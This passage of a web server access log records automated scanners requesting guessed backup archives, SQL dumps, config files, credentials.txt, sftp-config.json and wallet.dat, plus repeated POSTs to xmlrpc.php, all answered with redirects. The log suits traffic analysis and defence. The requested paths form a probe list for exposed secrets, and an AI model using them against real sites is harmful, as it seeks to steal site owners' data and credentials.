-0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.8.17.123 - - [02/Apr/2025:05:23:42 -0400] "GET /backup.sql.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.132 - - [02/Apr/2025:05:23:44 -0400] "GET /restore/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.134 - - [02/Apr/2025:05:23:47 -0400] "HEAD /restore/wallet.dat HTTP/1.1" 301 0 "-" "-" 45.8.17.59 - - [02/Apr/2025:05:23:48 -0400] "GET /backup.tar HTTP/1.1" 301 795 "-" "-" 45.8.17.147 - - [02/Apr/2025:05:23:52 -0400] "GET /back/config.js HTTP/1.1" 301 795 "-" "-" 45.8.17.49 - - [02/Apr/2025:05:23:53 -0400] "GET /back/public_html.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.145 - - [02/Apr/2025:05:23:56 -0400] "GET /old/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.112 - - [02/Apr/2025:05:23:58 -0400] "GET /backup/directory.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.136 - - [02/Apr/2025:05:24:00 -0400] "HEAD /restore/sql.sql HTTP/1.1" 301 0 "-" "-" 45.8.17.138 - - [02/Apr/2025:05:24:02 -0400] "GET /bak/public_html.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.136 - - [02/Apr/2025:05:24:05 -0400] "GET /restore/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.145 - - [02/Apr/2025:05:24:08 -0400] "GET /web.zip HTTP/1.1" 301 795 "-" "-" 2607:5300:60:7e27::1 - - [02/Apr/2025:05:34:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 85.203.20.83 - - [02/Apr/2025:05:47:30 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 188.212.135.205 - - [02/Apr/2025:05:56:48 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 188.212.135.175 - - [02/Apr/2025:05:56:50 -0400] "HEAD /wallet/logs.txt HTTP/1.1" 301 0 "-" "-" 188.212.135.205 - - [02/Apr/2025:05:56:52 -0400] "GET /restore/Archive.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.167 - - [02/Apr/2025:05:56:54 -0400] "GET /backup/archive.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.175 - - [02/Apr/2025:05:56:56 -0400] "HEAD /backup/www.sql HTTP/1.1" 301 0 "-" "-" 188.212.135.199 - - [02/Apr/2025:05:56:58 -0400] "GET /backup/www.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.3 - - [02/Apr/2025:05:57:00 -0400] "HEAD /old/sql.sql HTTP/1.1" 301 0 "-" "-" 188.212.135.202 - - [02/Apr/2025:05:57:03 -0400] "GET /backup/directory.rar HTTP/1.1" 301 795 "-" "-" 188.212.135.160 - - [02/Apr/2025:05:57:05 -0400] "GET /backups/bak.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.184 - - [02/Apr/2025:05:57:07 -0400] "GET /backup/www.tar.gz HTTP/1.1" 301 795 "-" "-" 188.212.135.191 - - [02/Apr/2025:05:57:09 -0400] "GET /backups/www.gz HTTP/1.1" 301 795 "-" "-" 188.212.135.186 - - [02/Apr/2025:05:57:11 -0400] "GET /bak/www.gz HTTP/1.1" 301 795 "-" "-" 188.212.135.4 - - [02/Apr/2025:05:57:14 -0400] "GET /backup.sql.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.156 - - [02/Apr/2025:05:57:16 -0400] "GET /bak/public_html.rar HTTP/1.1" 301 795 "-" "-" 188.212.135.200 - - [02/Apr/2025:05:57:19 -0400] "GET /bak/website.tar HTTP/1.1" 301 795 "-" "-" 68.178.145.83 - - [02/Apr/2025:06:05:03 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:125.0.1) Gecko/20100101 Firefox/125.0.1" 85.203.15.37 - - [02/Apr/2025:06:19:36 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 81.199.26.12 - - [02/Apr/2025:06:19:39 -0400] "GET /backups/bak.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.55 - - [02/Apr/2025:06:19:41 -0400] "GET /back/backup.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.5 - - [02/Apr/2025:06:19:44 -0400] "GET /backup/public_html.tar HTTP/1.1" 301 795 "-" "-" 85.203.15.250 - - [02/Apr/2025:06:19:47 -0400] "GET /bak/full_backup.zip HTTP/1.1" 301 795 "-" "-" 85.203.15.28 - - [02/Apr/2025:06:19:50 -0400] "GET /old/web.zip HTTP/1.1" 301 795 "-" "-" 81.199.26.10 - - [02/Apr/2025:06:19:52 -0400] "GET /public_html.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.252 - - [02/Apr/2025:06:19:55 -0400] "GET /old/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.71 - - [02/Apr/2025:06:19:57 -0400] "GET /bak/website.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.27 - - [02/Apr/2025:06:19:59 -0400] "GET /back/www.gz HTTP/1.1" 301 795 "-" "-" 85.203.15.71 - - [02/Apr/2025:06:20:02 -0400] "HEAD /config.json HTTP/1.1" 301 0 "-" "-" 81.199.26.11 - - [02/Apr/2025:06:20:06 -0400] "GET /back/index.zip HTTP/1.1" 301 795 "-" "-" 81.199.26.10 - - [02/Apr/2025:06:20:07 -0400] "GET /bak/website.rar HTTP/1.1" 301 0 "-" "-" 1.55.170.239 - - [02/Apr/2025:06:34:58 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36 Edg/116.0.1938.62" 188.212.135.180 - - [02/Apr/2025:06:54:24 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 188.212.135.159 - - [02/Apr/2025:06:54:26 -0400] "GET /backups/directory.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.201 - - [02/Apr/2025:06:54:31 -0400] "GET /backup/website.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.177 - - [02/Apr/2025:06:54:32 -0400] "GET /back/bak.tar HTTP/1.1" 301 795 "-" "-" 188.212.135.189 - - [02/Apr/2025:06:54:33 -0400] "HEAD /bak/credentials.txt HTTP/1.1" 301 0 "-" "-" 188.212.135.203 - - [02/Apr/2025:06:54:36 -0400] "GET /old/application.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.184 - - [02/Apr/2025:06:54:39 -0400] "GET /public_html.rar HTTP/1.1" 301 795 "-" "-" 188.212.135.177 - - [02/Apr/2025:06:54:41 -0400] "HEAD /backup/config.json HTTP/1.1" 301 0 "-" "-" 188.212.135.190 - - [02/Apr/2025:06:54:43 -0400] "GET /backups/www.tar.gz HTTP/1.1" 301 795 "-" "-" 188.212.135.3 - - [02/Apr/2025:06:54:46 -0400] "GET /latest.zip HTTP/1.1" 301 795 "-" "-" 188.212.135.205 - - [02/Apr/2025:06:54:49 -0400] "GET /backups/public_html.tar HTTP/1.1" 301 795 "-" "-" 188.212.135.198 - - [02/Apr/2025:06:54:51 -0400] "GET /bak/website.gz HTTP/1.1" 301 795 "-" "-" 188.212.135.155 - - [02/Apr/2025:06:54:53 -0400] "GET /application.zip HTTP/1.1" 301 795 "-" "-" 208.109.27.194 - - [02/Apr/2025:07:04:40 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0" 185.199.157.7 - - [02/Apr/2025:07:08:21 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.199.157.2 - - [02/Apr/2025:07:08:23 -0400] "GET /back/application.zip HTTP/1.1" 301 795 "-" "-" 185.199.157.6 - - [02/Apr/2025:07:08:25 -0400] "HEAD /backup/dump.sql HTTP/1.1" 301 0 "-" "-" 185.199.157.6 - - [02/Apr/2025:07:08:27 -0400] "GET /old/config.js HTTP/1.1" 301 795 "-" "-" 185.199.157.5 - - [02/Apr/2025:07:08:29 -0400] "HEAD /restore/backup.sql HTTP/1.1" 301 0 "-" "-" 185.199.157.6 - - [02/Apr/2025:07:08:33 -0400] "GET /old/backup.tar HTTP/1.1" 301 795 "-" "-" 185.199.157.7 - - [02/Apr/2025:07:08:36 -0400] "GET /backup/backup.rar HTTP/1.1" 301 795 "-" "-" 185.199.157.11 - - [02/Apr/2025:07:08:38 -0400] "GET /bak/index.zip HTTP/1.1" 301 795 "-" "-" 185.199.157.9 - - [02/Apr/2025:07:08:40 -0400] "GET /old/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 185.199.157.6 - - [02/Apr/2025:07:08:42 -0400] "GET /backups/wallet.zip HTTP/1.1" 301 795 "-" "-" 185.199.157.4 - - [02/Apr/2025:07:08:43 -0400] "HEAD /old/mysql.sql HTTP/1.1" 301 0 "-" "-" 185.199.157.7 - - [02/Apr/2025:07:08:45 -0400] "HEAD /bak/dump.sql HTTP/1.1" 301 0 "-" "-" 185.199.157.6 - - [02/Apr/2025:07:08:49 -0400] "GET /old/public_html.rar HTTP/1.1" 301 795 "-" "-" 98.159.226.177 - - [02/Apr/2025:07:22:06 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 98.159.226.183 - - [02/Apr/2025:07:22:07 -0400] "GET /restore/full_backup.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.177 - - [02/Apr/2025:07:22:10 -0400] "GET /directory.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.183 - - [02/Apr/2025:07:22:13 -0400] "HEAD /bak/wallet.dat HTTP/1.1" 301 0 "-" "-" 98.159.226.179 - - [02/Apr/2025:07:22:15 -0400] "GET /backup/bak.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.182 - - [02/Apr/2025:07:22:17 -0400] "HEAD /mysql.sql HTTP/1.1" 301 0 "-" "-" 98.159.226.182 - - [02/Apr/2025:07:22:21 -0400] "GET /backups/public_html.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.181 - - [02/Apr/2025:07:22:22 -0400] "GET /back/bak.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.182 - - [02/Apr/2025:07:22:25 -0400] "GET /restore/config.js HTTP/1.1" 301 795 "-" "-" 98.159.226.178 - - [02/Apr/2025:07:22:27 -0400] "GET /back/wallet.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.182 - - [02/Apr/2025:07:22:29 -0400] "GET /bak/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.176 - - [02/Apr/2025:07:22:31 -0400] "HEAD /restore/www.sql HTTP/1.1" 301 0 "-" "-" 98.159.226.177 - - [02/Apr/2025:07:22:34 -0400] "GET /back/backup.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.180 - - [02/Apr/2025:07:22:36 -0400] "GET /backup/bak.rar HTTP/1.1" 301 795 "-" "-" 66.29.132.86 - - [02/Apr/2025:07:34:06 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0" 89.213.226.10 - - [02/Apr/2025:07:59:11 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 89.213.226.1 - - [02/Apr/2025:07:59:13 -0400] "HEAD /backups/sql.sql HTTP/1.1" 301 0 "-" "-" 89.213.226.9 - - [02/Apr/2025:07:59:15 -0400] "GET /backup/public_html.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.8 - - [02/Apr/2025:07:59:17 -0400] "GET /restore/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 89.213.226.4 - - [02/Apr/2025:07:59:19 -0400] "GET /old/www.tar.gz HTTP/1.1" 301 795 "-" "-" 89.213.226.7 - - [02/Apr/2025:07:59:21 -0400] "GET /backup/full_backup.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.8 - - [02/Apr/2025:07:59:23 -0400] "GET /restore/public_html.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.5 - - [02/Apr/2025:07:59:26 -0400] "HEAD /back/www.sql HTTP/1.1" 301 0 "-" "-" 89.213.226.10 - - [02/Apr/2025:07:59:28 -0400] "HEAD /restore/config.json HTTP/1.1" 301 0 "-" "-" 89.213.226.8 - - [02/Apr/2025:07:59:31 -0400] "GET /directory.tar.gz HTTP/1.1" 301 795 "-" "-" 89.213.226.1 - - [02/Apr/2025:07:59:33 -0400] "HEAD /old/wallet.dat HTTP/1.1" 301 0 "-" "-" 89.213.226.4 - - [02/Apr/2025:07:59:36 -0400] "GET /backups/index.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.9 - - [02/Apr/2025:07:59:37 -0400] "GET /bak/application.zip HTTP/1.1" 301 795 "-" "-" 199.188.200.151 - - [02/Apr/2025:08:03:56 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0" 198.54.114.37 - - [02/Apr/2025:08:34:02 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Edg/112.0.1722.68" 199.188.200.191 - - [02/Apr/2025:09:05:26 -0400] "POST /xmlrpc.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 165.154.226.57 - - [02/Apr/2025:09:07:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 43.155.27.244 - - [02/Apr/2025:09:11:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.86.202.31 - - [02/Apr/2025:09:12:55 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.86.202.14 - - [02/Apr/2025:09:12:58 -0400] "GET /backups/website.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.24 - - [02/Apr/2025:09:13:01 -0400] "GET /back/public_html.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.39 - - [02/Apr/2025:09:13:03 -0400] "HEAD /backup/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.86.202.32 - - [02/Apr/2025:09:13:05 -0400] "GET /backups/www.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.9 - - [02/Apr/2025:09:13:06 -0400] "GET /restore/website.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.27 - - [02/Apr/2025:09:13:10 -0400] "GET /back/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.14 - - [02/Apr/2025:09:13:11 -0400] "GET /old/website.tar.gz HTTP/1.1" 301 795 "-" "-" 45.86.202.23 - - [02/Apr/2025:09:13:15 -0400] "GET /backup/www.gz HTTP/1.1" 301 795 "-" "-" 45.86.202.10 - - [02/Apr/2025:09:13:17 -0400] "GET /bak/config.js HTTP/1.1" 301 795 "-" "-" 45.86.202.42 - - [02/Apr/2025:09:13:19 -0400] "GET /bak/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 45.86.202.8 - - [02/Apr/2025:09:13:21 -0400] "GET /website.tar HTTP/1.1" 301 795 "-" "-" 45.86.202.13 - - [02/Apr/2025:09:13:23 -0400] "GET /backups/config.js HTTP/1.1" 301 795 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:23:37 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:23:39 -0400] "GET /bak/bak.zip HTTP/1.1" 301 795 "-" "-" 45.130.136.24 - - [02/Apr/2025:09:23:43 -0400] "HEAD /restore/config.json HTTP/1.1" 301 0 "-" "-" 45.130.136.23 - - [02/Apr/2025:09:23:45 -0400] "GET /back/directory.tar HTTP/1.1" 301 795 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:23:47 -0400] "GET /old/wallet.zip HTTP/1.1" 301 795 "-" "-" 45.130.136.24 - - [02/Apr/2025:09:23:49 -0400] "HEAD /back/sql.sql HTTP/1.1" 301 0 "-" "-" 45.130.136.23 - - [02/Apr/2025:09:23:50 -0400] "HEAD /restore/dump.sql HTTP/1.1" 301 0 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:23:53 -0400] "GET /bak/directory.zip HTTP/1.1" 301 795 "-" "-" 45.130.136.24 - - [02/Apr/2025:09:23:55 -0400] "GET /bak.zip HTTP/1.1" 301 795 "-" "-" 45.130.136.23 - - [02/Apr/2025:09:23:58 -0400] "GET /backup/backup.tar HTTP/1.1" 301 795 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:24:00 -0400] "GET /backups/bak.tar HTTP/1.1" 301 795 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:24:02 -0400] "HEAD /backups/dump.sql HTTP/1.1" 301 0 "-" "-" 45.130.136.43 - - [02/Apr/2025:09:24:04 -0400] "GET /backups/directory.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.176 - - [02/Apr/2025:09:24:17 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 85.203.45.236 - - [02/Apr/2025:09:24:19 -0400] "GET /back/www.rar HTTP/1.1" 301 795 "-" "-" 85.203.45.143 - - [02/Apr/2025:09:24:21 -0400] "HEAD /wallets/logs.txt HTTP/1.1" 301 0 "-" "-" 85.203.45.175 - - [02/Apr/2025:09:24:23 -0400] "GET /backup/bak.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.150 - - [02/Apr/2025:09:24:26 -0400] "HEAD /back/backup.sql HTTP/1.1" 301 0 "-" "-" 85.203.45.133 - - [02/Apr/2025:09:24:28 -0400] "GET /www.zip HTTP/1.1" 301 795 "-" "-" 85.203.45.60 - - [02/Apr/2025:09:24:30 -0400] "HEAD /backup/mysql.sql HTTP/1.1" 301 0 "-" "-" 85.203.45.53 - - [02/Apr/2025:09:24:33 -0400] "GET /backups/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.129 - - [02/Apr/2025:09:24:36 -0400] "GET /archive.zip HTTP/1.1" 301 795 "-" "-" 85.203.45.60 - - [02/Apr/2025:09:24:39 -0400] "GET /old/directory.rar HTTP/1.1" 301 795 "-" "-" 85.203.45.165 - - [02/Apr/2025:09:24:41 -0400] "GET /back/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.151 - - [02/Apr/2025:09:24:43 -0400] "GET /restore/bak.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.182 - - [02/Apr/2025:09:24:46 -0400] "GET /old/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 85.203.45.146 - - [02/Apr/2025:09:24:48 -0400] "GET /old/bak.rar HTTP/1.1" 301 795 "-" "-" 85.203.45.237 - - [02/Apr/2025:09:24:51 -0400] "GET /old/website.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.123 - - [02/Apr/2025:09:41:37 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.132.187.151 - - [02/Apr/2025:09:41:40 -0400] "GET /back/full_backup.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.107 - - [02/Apr/2025:09:41:43 -0400] "GET /restore/bak.rar HTTP/1.1" 301 795 "-" "-" 185.132.187.161 - - [02/Apr/2025:09:41:46 -0400] "GET /backups/www.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.148 - - [02/Apr/2025:09:41:48 -0400] "GET /bak/archive.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.122 - - [02/Apr/2025:09:41:51 -0400] "GET /directory.rar HTTP/1.1" 301 795 "-" "-" 185.132.187.118 - - [02/Apr/2025:09:41:52 -0400] "GET /restore/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.118 - - [02/Apr/2025:09:41:55 -0400] "GET /backup/config.js HTTP/1.1" 301 795 "-" "-" 185.132.187.137 - - [02/Apr/2025:09:41:57 -0400] "GET /backups/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.111 - - [02/Apr/2025:09:41:59 -0400] "GET /backup/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.155 - - [02/Apr/2025:09:42:02 -0400] "GET /bak/latest.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.146 - - [02/Apr/2025:09:42:04 -0400] "HEAD /sftp-config.json HTTP/1.1" 301 0 "-" "-" 185.132.187.143 - - [02/Apr/2025:09:42:05 -0400] "GET /back/archive.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.107 - - [02/Apr/2025:10:15:45 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 212.30.33.154 - - [02/Apr/2025:10:15:47 -0400] "GET /restore/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.168 - - [02/Apr/2025:10:15:49 -0400] "GET /restore/www.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.117 - - [02/Apr/2025:10:15:52 -0400] "GET /backups/public_html.rar HTTP/1.1" 301 795 "-" "-" 212.30.33.145 - - [02/Apr/2025:10:15:54 -0400] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.108 - - [02/Apr/2025:10:15:56 -0400] "GET /backups/backup.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.160 - - [02/Apr/2025:10:15:58 -0400] "HEAD /back/sftp-config.json HTTP/1.1" 301 0 "-" "-" 212.30.33.122 - - [02/Apr/2025:10:16:05 -0400] "GET /back/web.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.191 - - [02/Apr/2025:10:16:07 -0400] "GET /backups/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.138 - - [02/Apr/2025:10:16:09 -0400] "GET /restore/www.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.119 - - [02/Apr/2025:10:16:10 -0400] "GET /full_backup.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.159 - - [02/Apr/2025:10:16:13 -0400] "GET /backups/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.20.21 - - [02/Apr/2025:10:44:54 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 85.203.20.44 - - [02/Apr/2025:10:44:56 -0400] "GET /backup/website.tar HTTP/1.1" 301 795 "-" "-" 85.203.20.26 - - [02/Apr/2025:10:44:58 -0400] "HEAD /dump.sql HTTP/1.1" 301 0 "-" "-" 85.203.20.36 - - [02/Apr/2025:10:45:01 -0400] "GET /old/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.20.35 - - [02/Apr/2025:10:45:05 -0400] "GET /backup/backup.zip HTTP/1.1" 301 795 "-" "-" 85.203.20.22 - - [02/Apr/2025:10:45:07 -0400] "GET /back/Archive.zip HTTP/1.1" 301 795 "-" "-" 85.203.20.15 - - [02/Apr/2025:10:45:08 -0400] "GET /restore/website.rar HTTP/1.1" 301 795 "-" "-" 85.203.20.43 - - [02/Apr/2025:10:45:11 -0400] "HEAD /backups/config.json HTTP/1.1" 301 0 "-" "-" 85.203.20.15 - - [02/Apr/2025:10:45:13 -0400] "GET /old/public_html.gz HTTP/1.1" 301 795 "-" "-" 85.203.20.28 - - [02/Apr/2025:10:45:15 -0400] "HEAD /backups/wallet.dat HTTP/1.1" 301 0 "-" "-" 85.203.20.28 - - [02/Apr/2025:10:45:18 -0400] "GET /backup/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 85.203.20.29 - - [02/Apr/2025:10:45:20 -0400] "GET /back/directory.rar HTTP/1.1" 301 795 "-" "-" 85.203.20.2 - - [02/Apr/2025:10:45:22 -0400] "GET /old/bak.tar HTTP/1.1" 301 795 "-" "-" 45.95.243.18 - - [02/Apr/2025:10:53:25 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.95.243.19 - - [02/Apr/2025:10:53:28 -0400] "GET /bak/www.tar HTTP/1.1" 301 795 "-" "-" 45.95.243.44 - - [02/Apr/2025:10:53:30 -0400] "HEAD /sql.sql HTTP/1.1" 301 0 "-" "-" 45.95.243.12 - - [02/Apr/2025:10:53:33 -0400] "GET /bak/backup.rar HTTP/1.1" 301 795 "-" "-" 45.95.243.10 - - [02/Apr/2025:10:53:37 -0400] "GET /back/backup.rar HTTP/1.1" 301 795 "-" "-" 45.95.243.5 - - [02/Apr/2025:10:53:38 -0400] "GET /restore/latest.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.27 - - [02/Apr/2025:10:53:41 -0400] "GET /backup.rar HTTP/1.1" 301 795 "-" "-" 45.95.243.6 - - [02/Apr/2025:10:53:45 -0400] "HEAD /old/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.95.243.7 - - [02/Apr/2025:10:53:47 -0400] "GET /bak/web.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.40 - - [02/Apr/2025:10:53:49 -0400] "HEAD /bak/mysql.sql HTTP/1.1" 301 0 "-" "-" 45.95.243.46 - - [02/Apr/2025:10:53:52 -0400] "HEAD /old/www.sql HTTP/1.1" 301 0 "-" "-" 45.95.243.2 - - [02/Apr/2025:10:53:54 -0400] "GET /back/latest.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.50 - - [02/Apr/2025:10:53:57 -0400] "HEAD /config.json HTTP/1.1" 301 0 "-" "-" 45.8.17.135 - - [02/Apr/2025:11:29:52 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.8.17.145 - - [02/Apr/2025:11:29:56 -0400] "GET /backups/www.rar HTTP/1.1" 301 795 "-" "-" 45.8.17.132 - - [02/Apr/2025:11:29:59 -0400] "GET /bak/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.131 - - [02/Apr/2025:11:30:01 -0400] "GET /backup/wallet.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.125 - - [02/Apr/2025:11:30:03 -0400] "GET /backup/web.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.142 - - [02/Apr/2025:11:30:06 -0400] "GET /back/public_html.rar HTTP/1.1" 301 795 "-" "-" 45.8.17.123 - - [02/Apr/2025:11:30:10 -0400] "GET /index.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.106 - - [02/Apr/2025:11:30:10 -0400] "GET /bak/backup.sql.zip HTTP/1.1" 301 0 "-" "-" 45.8.17.136 - - [02/Apr/2025:11:30:11 -0400] "GET /backups/website.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.144 - - [02/Apr/2025:11:30:14 -0400] "GET /back/public_html.zip HTTP/1.1" 301 795 "-" "-" 45.8.17.117 - - [02/Apr/2025:11:30:16 -0400] "GET /old/website.tar HTTP/1.1" 301 795 "-" "-" 45.8.17.61 - - [02/Apr/2025:11:30:17 -0400] "GET /restore/www.gz HTTP/1.1" 301 795 "-" "-" 45.8.17.127 - - [02/Apr/2025:11:30:18 -0400] "GET /bak/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 45.91.20.66 - - [02/Apr/2025:11:35:17 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.91.21.5 - - [02/Apr/2025:11:50:57 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.91.21.6 - - [02/Apr/2025:11:51:00 -0400] "GET /bak/bak.gz HTTP/1.1" 301 795 "-" "-" 85.203.44.232 - - [02/Apr/2025:11:51:03 -0400] "HEAD /backup/credentials.txt HTTP/1.1" 301 0 "-" "-" 85.203.44.225 - - [02/Apr/2025:11:51:05 -0400] "GET /restore/directory.gz HTTP/1.1" 301 795 "-" "-" 85.203.44.232 - - [02/Apr/2025:11:51:07 -0400] "GET /bak/www.tar.gz HTTP/1.1" 301 795 "-" "-" 85.203.44.249 - - [02/Apr/2025:11:51:11 -0400] "GET /old/backup.rar HTTP/1.1" 301 795 "-" "-" 85.203.44.248 - - [02/Apr/2025:11:51:13 -0400] "HEAD /bak/www.sql HTTP/1.1" 301 0 "-" "-" 45.91.21.6 - - [02/Apr/2025:11:51:15 -0400] "GET /old/backup.zip HTTP/1.1" 301 795 "-" "-" 85.203.44.211 - - [02/Apr/2025:11:51:18 -0400] "GET /backup/bak.tar HTTP/1.1" 301 795 "-" "-" 85.203.44.233 - - [02/Apr/2025:11:51:19 -0400] "GET /backup/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 85.203.44.13 - - [02/Apr/2025:11:51:22 -0400] "GET /old/public_html.zip HTTP/1.1" 301 795 "-" "-" 85.203.44.224 - - [02/Apr/2025:11:51:24 -0400] "HEAD /back/wallet.dat HTTP/1.1" 301 0 "-" "-" 45.91.21.7 - - [02/Apr/2025:11:51:27 -0400] "GET /back/backup.zip HTTP/1.1" 301 795 "-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:12 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.67.99.30 - - [02/Apr/2025:12:20:15 -0400] "GET /Archive.zip HTTP/1.1" 301 795 "-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:17 -0400] "GET /backup/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.14 - - [02/Apr/2025:12:20:20 -0400] "HEAD /old/credentials.txt HTTP/1.1" 301 0 "-" "-" 45.67.99.15 - - [02/Apr/2025:12:20:23 -0400] "GET /bak/backup.zip HTTP/1.1" 301 795 